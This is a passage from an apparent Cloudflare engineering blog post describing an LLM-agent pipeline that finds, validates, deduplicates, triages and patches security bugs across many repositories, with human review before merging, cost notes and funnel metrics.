Single agent — builds context about the bug from MCP servers, to get the shape of what the service looks like in production. Searches the wiki, Jira, git, config, and all available other sources to try and understand whether a bug is truly applicable to our production environment, and then score the vulnerability against this. It also validates the bug against source code to understand if the bug still exists on the latest main branch.

Fixing

Generates patches, runs regression tests

Runs the regression test before and after (filtered to the affected test; full suite only when per-test filtering isn’t available). It requires a clean fail→pass flip on the target test to clear the gate. If the post-patch test fails, or if a global run detects downstream regressions, the commit is automatically blocked and flagged for human intervention.

Table 2: Vulnerability Validation System (VVS)

Deduping

Comparing every single finding against every other finding using an LLM scales at O(N^2), which falls apart completely at scale. To keep the model off the critical path, deterministic code builds inverted indexes over the structured data (touched files/functions, trust boundary, rare tokens) to generate a short list of real candidates. Only then does an agent look at that short list to see if a single fix would close several of them. Stable cross-run keys ensure re-found bugs reopen existing records rather than spawning new ones.

Contextual judgment

Judgment is a second, independent pass over what survived. The agent rechecks the latest information, pulling from deployment, environment, and config context to determine if the code path is reachable in prod, and identify the repo owner. This process filters “exploitable now” from “real but latent” and from “real but filed against the wrong component.” It’s moving a pile of chaotic findings into a risk-driven orchestration workflow.

Automated fixing

The Fixer takes the proposed patch and unit tests, rewrites them to match the repo’s style, applies the diff, and runs targeted tests. A clean fail→pass flip is the ideal and the only auto-cleanup case; a failing post-patch test blocks the commit. The Fixer never merges code on its own; a human must review the branch. This gate is the non-negotiable, human-in-the-loop safeguard that enables a clean, unbreakable cryptographic trail for change management compliance. Left to patch freely, a model will happily fix a security bug while quietly breaking an unrelated feature or adding dozens of new bugs.

Across all three triage jobs, each agent is confined to one narrow task wrapped in deterministic bookkeeping code, and nothing writes to production without a human signing off on a dry run. While this pipeline moves the engineering bottleneck from finding bugs to reviewing and landing fixes, the Fixer remains the youngest and slowest part of the system. 

What it costs

Running hundreds of agents over a fleet of repos is not cheap, but at least the shape of the spend is predictable. Almost all of the compute budget goes directly into the hunt stage. This makes Gapfill our cost-to-coverage lever, as each additional pass costs roughly half as much as the initial hunt.

Because the cost per repository varies wildly, we budget per repo rather than per run. We enforce a strict task cap per repository and spin up a worker pool of anywhere from 50 to 200 workers. That way you can spend money on the repos that are actually finding things, and not waste it on the ones that aren’t.

It’s also why, for us, the big scans are a periodic backlog sweep and not a per-PR check. A full scan of a complex repo can take hours; the worst run took just over 14 hours. Cheaper, smaller harnesses are the right tool for that job.

How we tell it’s working

We measure our system’s effectiveness by tracking how efficiently our automated pipeline filters deliberate engineering noise into high-quality, actionable findings. Because we intentionally tune our Hunters to over-report subtle primitives that could be chained into larger attacks, our true indicator of success is how sharply we can refine that initial mountain of raw data, before it ever reaches a human.

To gauge this, we track exactly how many raw findings survive each validation stage over time. Thanks to better context injection from our Recon phase, our initial validation rejection rate dropped from 40% down to 11%, while the share of high-integrity findings climbed from 35% to 58% (representing ~12,057 lifetime findings).

Here’s the lifetime breakdown from raw candidates to actionable findings, at the point in time this blog post was written.


Vulnerability Discovery Harness (VDH)

  • Raw candidates: Everything the discovery harness emitted before independent validation.
  • Needs repro: Findings that appeared plausible but required manual reproduction before being trusted.
  • Rejected at validation: The validator disproved the threat model, exploit path, affected code, or evidence.
  • Duplicates: Candidates collapsed onto another finding from the same harness.
  • Survived validation: Findings that passed the independent validation gate and moved into the VVS.
  • Bugs that went elsewhere: Findings deliberately routed outside this flow.

Vulnerability Validation System (VVS)

  • Another vulnerability harness: Other automated sources feeding the same validation system.
  • Total bugs in system: The combined pool after ingest.
  • Duplicates: Findings the dedup pass identified as already covered by another canonical finding or ticket.
  • Wrong repo / other / not a risk: The noise bucket: misattributed findings, defense-in-depth, or latent risks.
  • Bugs sent to teams: Finalized, clean findings ready for remediation.
  • Judged Internet-exploitable: High-urgency findings a realistic attacker could trigger in production.
  • Not judged Internet-exploitable: Lower-urgency, actionable bugs (production issues, dependency risks, or config errors).
  • Final severity split: The categorization used to assign priority for the engineering teams.

The core metric of the harness isn’t a speculative recall score — it’s keeping the number of unconfirmed findings in front of real humans as close to zero as possible. The architecture needs to be a relentless filtering funnel.

  • Out of 20,799 raw candidates generated by VDH, only about 12,057 survived validation.

  • When these were pushed into the VVS, joining findings from another harness, the central pool was brought to 13,841. 

  • The Dedup agent folded away 5,442 findings as duplicates. 

  • 1,154 were routed to the queue as ‘wrong-repo’ or ‘low-risk’ and were recycled back into the system where appropriate. 

  • Ultimately this left 7,245 actionable findings for engineering teams to act on.

Traditional compliance rules dictate arbitrary remediation windows based entirely on a static CVSS score (e.g., “Fix all Highs in 30 days”). Our contextual judgment layer turns this compliance checkbox into actual risk management. 

The architecture is capable of tracking findings back to their origin, meaning that fixing a single root cause resolves an entire cluster of findings rather than just patching individual issues. VDH system performance is also measured by dividing repos into (area x attack-class) cells and running the Gapfill agent iteratively until it stops producing findings. Whenever we update an underlying prompt, we test it against a held-out repository to see if that total coverage cell number actually moves.

The harness wires automated health signals to catch system failures early in the pipeline. If a hunt finished suspiciously fast and fails to spawn sub-hunts or gap tasks, it usually indicates a crashed dependency rather than a clean codebase. To remedy this, the system flags any Hunter agent that finishes with zero findings as “shallow” and immediately requeues it for a new run. 

Finally, our system’s robustness is reinforced by the independent triage pass described earlier. By re-judging all submissions with a different model and separate logical weights, we ensure an unbiased, adversarial verification that is decoupled from the specific model used for discovery, providing a trust layer that persists regardless of which model is in use.

None of this is finished. We change our system constantly, and it is nowhere near a perfect science. But raw candidate findings are cheap now, and the only work worth doing is turning them into sound, verifiable code fixes.

Building your own harness means accepting that AI models are volatile, but your orchestration layer doesn’t have to be. By decoupling your security logic from any single provider, forcing adversarial verification, and automating your triage pipeline, you can turn a mountain of LLM noise into a reliable, fleet-wide defense engine.

Our “North Star” metrics: measuring real-world velocity

Every codebase is a little different, so to show you how this actually works in the real world, we mapped out a realistic benchmark based on a standard repo run. Keep in mind that this represents a single pass on one repo; over time, as the continuous fleet-wide loop deduplicates, filters, and recycles findings, it reduces the volume of lifetime candidates by roughly 65%.

Engineering hours saved via automated patching: Rather than focusing on static baselines, we measure the health of our pipeline by its technical throughput, processing velocity, and its ability to eliminate the manual triage bottleneck:

  • Initial Validation Cut: For a standard repository (~30k lines of code), this yields 100 initial findings, with a full run taking 3-4 hours, maintaining a hyperfocused context window throughout. 

  • Compression: The Deduplication and Contextual Judgment Layers process these candidates in parallel. Within 3 hours, the system compresses and refines the batch of findings from ~100 raw candidates to 80 distinct, high-fidelity bugs.

  • Remediation: The automated Fixer processes these 80 distinct bugs at an average rate of 5 minutes per bug. In total, the system can discover, validate, deduplicate, and open functional pull requests in approximately 14 hours.

Shrinking mean-time-to-resolve for critical flaws: Of course, you can’t dump 80 patches into production all at once without breaking things. To keep deployments safe, our system uses a tiered rollout:

  • Critical Exposure Containment: The system isolates the critical, high, and exploitable bugs (avg. 10 out of 80). We fast-track these for a human review and introduce them into release cycles, getting them fully patched in production in 5 days.

  • Incremental Hardening: The remaining latent risks, minor config anomalies, and lower-urgency bugs are incrementally rolled into prod over a 15-20 day window to guarantee platform stability.

How we’re handling all of this patching

These findings are the result of an isolated, ring-fenced research experiment designed to stress-test our code. They do not represent active, unpatched vulnerabilities in our live production environment.

Because the harness runs constantly in our test environments, these specific numbers are completely out of date by the time you’re reading this. Every single bug surfaced by the pipeline came attached to a working test case to demonstrate the bug and a draft patch. Our security teams are systematically processing the reports and applying the necessary fixes, meaning the Cloudflare products you use every day are already actively hardened against these vectors.

Along with this blog post, we’re releasing the initial skill we used to develop the harness, it’s been slightly cleaned up before release so it’s easier to understand and integrate, but the skill itself remains substantially the same. Hopefully the harness itself will follow shortly. This could be a starting point for your own vulnerability harness, your own skill, or whatever suits your needs best:
github.com/cloudflare/security-audit-skill

If your team is working on the same problems and would like to compare notes, reach out to us at [email protected].